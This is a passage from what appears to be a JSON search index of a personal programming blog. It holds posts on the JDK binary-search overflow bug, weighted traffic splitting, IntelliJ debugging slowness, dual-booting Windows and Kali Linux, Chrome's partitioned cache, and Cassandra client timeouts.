shell.\u003c/p\u003e\n\u003cp\u003eFor ex, let\u0026rsquo;s say we have a basic http server running in local as follows:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-javascript\" data-lang=\"javascript\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kr\"\u003econst\u003c/span\u003e \u003cspan class=\"nx\"\u003ehttp\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nx\"\u003erequire\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;http\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kr\"\u003econst\u003c/span\u003e \u003cspan class=\"nx\"\u003erequestListener\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"kd\"\u003efunction\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003ereq\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nx\"\u003eres\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nx\"\u003econsole\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003elog\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;Request recieved\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nx\"\u003eres\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003ewriteHead\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e200\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nx\"\u003eres\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eend\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;Hello, World!\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kr\"\u003econst\u003c/span\u003e \u003cspan class=\"nx\"\u003eserver\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nx\"\u003ehttp\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003ecreateServer\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003erequestListener\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nx\"\u003eserver\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003elisten\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e8080\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eHow would you send the request to this port without telnet, browser, curl and nc from terminal? Answer is:\u003c/p\u003e","title":"Sockets in shell"},{"content":"There was a famous bug which existed in JDK implementation of Binary Search\nRandomly, I tried to reproduce the issue this weekend.\nHere is the flawed implementation\npublic int search(int[] arr, int target) { int low = 0; int high = arr.length - 1; while (low \u0026lt;= high) { int mid = (high + low) / 2; if(arr[mid] == target) { return mid; } else if (arr[mid] \u0026lt; target) { low = mid + 1; } else { high = mid - 1; } } return -1; } If we execute this algorithm with following code:\nBinarySearch binarySearch = new BinarySearch(); int[] newArr = new int[(int) Math.pow(2, 30) + 100]; System.out.println(binarySearch.search(newArr, (int) Math.pow(2, 30))); We see the following exception\nException in thread \u0026#34;main\u0026#34; java.lang.ArrayIndexOutOfBoundsException: -1073741788 at binarysearch.BinarySearch.search(BinarySearch.java:14) at binarysearch.BinarySearch.main(BinarySearch.java:31) Process finished with exit code 1 The issue is in calculation of mid variable. The value high+low overflows the maximum range of int and ultimately results in negative value.\nTo fix this, we simply need to change the calculation of mid as follows:\nint mid = low + (high - low)/2; This will give us the correct value of -1 which indicates that value doesn\u0026rsquo;t exist in the array.\nIts amazing how simplest of bugs can remain undetected for years. This one remain undetected for nine years.\n","permalink":"https://madhur.co.in/blog/2020/12/05/binary-search-jdk-bug.html","summary":"\u003cp\u003eThere was a \u003ca href=\"https://ai.googleblog.com/2006/06/extra-extra-read-all-about-it-nearly.html\"\u003efamous bug\u003c/a\u003e which existed in JDK implementation of \u003ca href=\"https://en.wikipedia.org/wiki/Binary_search_algorithm\"\u003eBinary Search\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eRandomly, I tried to reproduce the issue this weekend.\u003c/p\u003e\n\u003cp\u003eHere is the flawed implementation\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-java\" data-lang=\"java\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kd\"\u003epublic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nf\"\u003esearch\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"o\"\u003e[]\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003earr\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etarget\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e    \u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003elow\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e    \u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ehigh\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003earr\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003elength\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e    \u003c/span\u003e\u003cspan class=\"k\"\u003ewhile\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003elow\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ehigh\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e        \u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003emid\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ehigh\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003elow\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e/\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e        \u003c/span\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003earr\u003c/span\u003e\u003cspan class=\"o\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003emid\u003c/span\u003e\u003cspan class=\"o\"\u003e]\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e==\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etarget\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e            \u003c/span\u003e\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003emid\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e        \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e        \u003c/span\u003e\u003cspan class=\"k\"\u003eelse\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003earr\u003c/span\u003e\u003cspan class=\"o\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003emid\u003c/span\u003e\u003cspan class=\"o\"\u003e]\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etarget\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e            \u003c/span\u003e\u003cspan class=\"n\"\u003elow\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003emid\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e        \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e        \u003c/span\u003e\u003cspan class=\"k\"\u003eelse\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e            \u003c/span\u003e\u003cspan class=\"n\"\u003ehigh\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003emid\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e        \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e    \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e    \u003c/span\u003e\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"n\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eIf we execute this algorithm with following code:\u003c/p\u003e","title":"Binary Search bug in JDK"},{"content":"In one our recent requirements, we were required to very accurately split the incoming traffic into multiple distribution patterns. This is a very common algorithm requirement in use cases such as load balancer where you would assign the weight to each resource and load balancer would split the incoming traffic into the resources based on the desired weightages.\nI had written the article Incrementally routing traffic to newer version of service and an astute follower / reader might question that we could have used the similar logic here.\nThe main difference between the that article and requirement here is the accuracy. That algorithm was based on the probabilities and result was the approximation of the desired split.\nBut in this case, we require the exact split and hence we cannot rely on probabilities. We will need to maintain the state.\nTo state the problem simply as a test case below:\n@Test public void splitTest() { List\u0026lt;BucketInfo\u0026gt; bucketInfoList = new ArrayList\u0026lt;\u0026gt;(); bucketInfoList.add(new BucketInfo(\u0026#39;a\u0026#39;, 5)); bucketInfoList.add(new BucketInfo(\u0026#39;b\u0026#39;, 2)); bucketInfoList.add(new BucketInfo(\u0026#39;c\u0026#39;, 3)); Distributor distributor = new Distributor(bucketInfoList); int aBucketCount = 0, bBucketCount = 0, cBucketCount = 0; for(int i=0;i\u0026lt;100;++i) { char bucket = distributor.getNextBucket(); switch (bucket) { case \u0026#39;a\u0026#39;: aBucketCount++; break; case \u0026#39;b\u0026#39;: bBucketCount++; break; case \u0026#39;c\u0026#39;: cBucketCount++; break; } } Assert.assertEquals(50, aBucketCount); Assert.assertEquals(20, bBucketCount); Assert.assertEquals(30, cBucketCount); } Bucket definition:\npublic class BucketInfo { private final int weight; private final char bucketId; public BucketInfo(char bucketId, int weight) { this.bucketId = bucketId; this.weight = weight; } public char getBucketId() { return bucketId; } public int getWeight() { return weight; } } We define n number of buckets (identified by a char here) and an integer weightage. We need to split the infinite requests into the weightage. For example in this case, we have 3 buckets (a, b and c) with weights 5, 2 and 3.\nIf we are firing 100 requests, there should be exactly, 50 requests served by a, 20 by b and 30 by c.\nSimply, it comes down to identifying the bucket to be used for the request and needless to say it should be O(1)\nOur implementation requires implementing just one interface\npublic interface IDistributor { char getNextBucket(); } My solution was implemented using an array of length equal to total number of buckets and assigning each array index to the bucket in proportion to their weightage.\nNow, the identifying the next bucket is simply, choosing the index in this array with equal probability. To solve the equal probability equation, we will need to store the last index used in memory and just increment the index considering the array to be circular.\n@Override public char getNextBucket() { this.nextBucketIndex++; this.nextBucketIndex = (this.nextBucketIndex == this.senderBuckets.length)? 0: this.nextBucketIndex; return senderBuckets[nextBucketIndex]; } The full code is available in the gist here\n","permalink":"https://madhur.co.in/blog/2020/11/29/generic-traffic-splitting-algorithm.html","summary":"\u003cp\u003eIn one our recent requirements, we were required to very accurately split the\nincoming traffic into multiple distribution patterns. This is a very common\nalgorithm requirement in use cases such as load balancer where you would assign\nthe weight to each resource and load balancer would split the incoming traffic\ninto the resources based on the desired weightages.\u003c/p\u003e\n\u003cp\u003eI had written the article \u003ca href=\"/blog/2020/02/08/incrementally-route-traffic-newer-version-service.html\"\u003eIncrementally routing traffic to newer version of service\u003c/a\u003e and an astute\nfollower / reader might question that we could have used the similar logic here.\u003c/p\u003e","title":"Generic traffic splitting algorithm"},{"content":"Yesterday, I observed painfully slow debugging in IntelliJ. Every step over or step in took almost 10 seconds to perform.\nIt was a simple Java console application having about some 88k entries in few arrays. I had successfully debugged applications having millions of entries in arrays, lists and maps before without any performance issues.\nThen I looked at the toString() implementation of the custom object which I was holding in the array\npublic String toString() { StringBuilder s = new StringBuilder(); s.append(V + \u0026#34; vertices, \u0026#34; + E + \u0026#34; edges \u0026#34; + NEWLINE); for (int v = 0; v \u0026lt; V; v++) { s.append(String.format(\u0026#34;%d: \u0026#34;, v)); for (int w : adj[v]) { s.append(String.format(\u0026#34;%d \u0026#34;, w)); } s.append(NEWLINE); } return s.toString(); } This toString() implementation was looping over all the 88k items and IntelliJ is configured to evaluate toString() after every step.\nTurning off the setting Enable toString() data views solved this problem of slow debugging.\nIncase you are experiencing slow debugging issues on IntelliJ, do make sure that this setting is turned off.\n","permalink":"https://madhur.co.in/blog/2020/11/13/speed-up-slow-debugging-intellij.html","summary":"\u003cp\u003eYesterday, I observed painfully slow debugging in IntelliJ. Every step over or\nstep in took almost 10 seconds to perform.\u003c/p\u003e\n\u003cp\u003eIt was a simple Java console application having about some 88k entries in\nfew arrays. I had successfully debugged applications having millions of entries\nin arrays, lists and maps before without any performance issues.\u003c/p\u003e\n\u003cp\u003eThen I looked at the \u003ccode\u003etoString()\u003c/code\u003e implementation of the custom object which I\nwas holding in the array\u003c/p\u003e","title":"Speed up debugging in IntelliJ"},{"content":"Recently, I setup dual boot of Windows 10 and Kali Linux on different SDD.\nTechnically, its not a dual boot when you install two different OS on different hard disks altogether. However, with dropping prices of SSD\u0026rsquo;s many people want to install these OS on different hard disks altogether rather than cramming up them in single hard disk with single partition.\nIn my case, UEFI rather than legacy boot. Here is the quick guide to setup Windows and Linux in two different SDD.\nDisable legacy boot in BIOS. Make sure your boot mode is set to UEFI\nDisable secure boot / fast boot\nInstall Windows on HDD/ SDD 1 (/dev/sda). Windows will setup EFI partition on the same hard disk as well. You should be able to boot the Windows without any issues using UEFI boot.\nComing to Linux installation, here you need to choose custom partitioning. We will partition the second hard drive (/dev/sdb) for setting up Linux.\nCreate 1st partition /EFI on /dev/sdc of around 650 MB. Make sure to set it as Use as: EFI and its at beginning of space.\nCreate 2nd partition / root partition of 80% of your space. Again it should be primary partition. However its type will be ext4 and mount point as \u0026ldquo;/\u0026rdquo;.\nCreate 3rd partition as swap partition. You can give remaining space to this partition. Make sure to use it as swap.\nThat should be enough for partitions. You can setup optional /home partition incase you need it.\nBootloader device - Installer will ask where you want to install bootloader. Do no install it on Master Boot record. Install it on first EFI partition on /dev/sdb1.\nFinish installation and reboot. You should see that the GRUB bootloader automatically adds the option of Windows 10 in its boot menu.\nIncase you want to change the default option. You can boot into linux and edit the /etc/grub/default files and run sudo update-grub to update the GRUB configuration.\n","permalink":"https://madhur.co.in/blog/2020/11/01/dual-boot-windows-kali-different-hdd.html","summary":"\u003cp\u003eRecently, I setup dual boot of Windows 10 and \u003ca href=\"https://www.kali.org/\"\u003eKali Linux\u003c/a\u003e on different SDD.\u003c/p\u003e\n\u003cp\u003eTechnically,  its not a dual boot when you install two different OS on different hard disks\naltogether. However, with dropping prices of SSD\u0026rsquo;s many people want to install\nthese OS on different hard disks altogether rather than cramming up them in\nsingle hard disk with single partition.\u003c/p\u003e\n\u003cp\u003eIn my case, UEFI rather than legacy boot. Here is the quick guide to setup\nWindows and Linux in two different SDD.\u003c/p\u003e","title":"Dual Booting Windows and Linux on different HDD / SDD"},{"content":"Starting Chrome v86, browser cache is going to be partitioned which are going to have interesting consequences.\nWhat does it mean? Previously, if you would have loaded a file such as js, css from a CDN from a particular site (lets say Facebook) was cached in the browser cache and available to be used from cache even in a different site (lets say Reddit)\nBut this is changing now, which means that a cache is domain specific. So a CDN file cached from Facebook will be loaded from the cache only if the requesting domain is Facebook.\nWhy is this being done? This global cache from browser have been misused to track users. For example, I can setup a server and track which of my users are not requesting the particular resource (which is same as Facebook) and then make a conclusion that those of my users have logged on to Facebook recently.\nReferences: Cross site leak\n","permalink":"https://madhur.co.in/blog/2020/10/18/partitioned-browser-cache.html","summary":"\u003cp\u003eStarting Chrome v86, browser cache is going to be partitioned which are going to\nhave interesting consequences.\u003c/p\u003e\n\u003ch3 id=\"what-does-it-mean\"\u003eWhat does it mean?\u003c/h3\u003e\n\u003cp\u003ePreviously, if you would have loaded a file such as js, css from a CDN from a\nparticular site (lets say Facebook) was cached in the browser cache and\navailable to be used from cache even in a different site (lets say Reddit)\u003c/p\u003e\n\u003cp\u003eBut this is changing now, which means that a cache is domain specific. So a CDN\nfile cached from Facebook will be loaded from the cache only if the requesting\ndomain is Facebook.\u003c/p\u003e","title":"Partitioned Browser Cache Starting Chrome v86"},{"content":"I have been recently playing with Cassandra a lot using Python cassandra client.\nOne issue I saw a lot while timeouts connecting cassandra. The default timeout set in the client library is 5 seconds and it isn\u0026rsquo;t very intuitive how to increase it.\nfrom cassandra.cluster import Cluster from cassandra.cluster import ExecutionProfile from cassandra.auth import PlainTextAuthProvider from cassandra.cluster import EXEC_PROFILE_DEFAULT auth_provider = PlainTextAuthProvider(username=\u0026#39;username\u0026#39;, password=\u0026#39;password\u0026#39;) profile = ExecutionProfile(request_timeout=60) cluster = Cluster( [\u0026#39;hostnanme\u0026#39;], auth_provider=auth_provider, execution_profiles={EXEC_PROFILE_DEFAULT: profile}, connect_timeout=120, ) session = cluster.connect(\u0026#34;database\u0026#34;) The above coode snippet increases the connect timeout and request timeout to 120 and seconds respectively.\n","permalink":"https://madhur.co.in/blog/2020/09/27/handle-cassandra-timeouts.html","summary":"\u003cp\u003eI have been recently playing with \u003ca href=\"https://cassandra.apache.org/\"\u003eCassandra\u003c/a\u003e a lot using \u003ca href=\"https://github.com/datastax/python-driver\"\u003ePython cassandra client\u003c/a\u003e.\u003c/p\u003e\n\u003cp\u003eOne issue I saw a lot while timeouts connecting cassandra. The default timeout set in the client library is 5 seconds and it isn\u0026rsquo;t very intuitive how to increase it.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-python\" data-lang=\"python\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kn\"\u003efrom\u003c/span\u003e \u003cspan class=\"nn\"\u003ecassandra.cluster\u003c/span\u003e \u003cspan class=\"kn\"\u003eimport\u003c/span\u003e \u003cspan class=\"n\"\u003eCluster\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kn\"\u003efrom\u003c/span\u003e \u003cspan class=\"nn\"\u003ecassandra.cluster\u003c/span\u003e \u003cspan class=\"kn\"\u003eimport\u003c/span\u003e \u003cspan class=\"n\"\u003eExecutionProfile\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kn\"\u003efrom\u003c/span\u003e \u003cspan class=\"nn\"\u003ecassandra.auth\u003c/span\u003e \u003cspan class=\"kn\"\u003eimport\u003c/span\u003e \u003cspan class=\"n\"\u003ePlainTextAuthProvider\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kn\"\u003efrom\u003c/span\u003e \u003cspan class=\"nn\"\u003ecassandra.cluster\u003c/span\u003e \u003cspan class=\"kn\"\u003eimport\u003c/span\u003e \u003cspan class=\"n\"\u003eEXEC_PROFILE_DEFAULT\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eauth_provider\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003ePlainTextAuthProvider\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eusername\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;username\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003epassword\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;password\u0026#39;\u003c/span\u003e\u003cspan 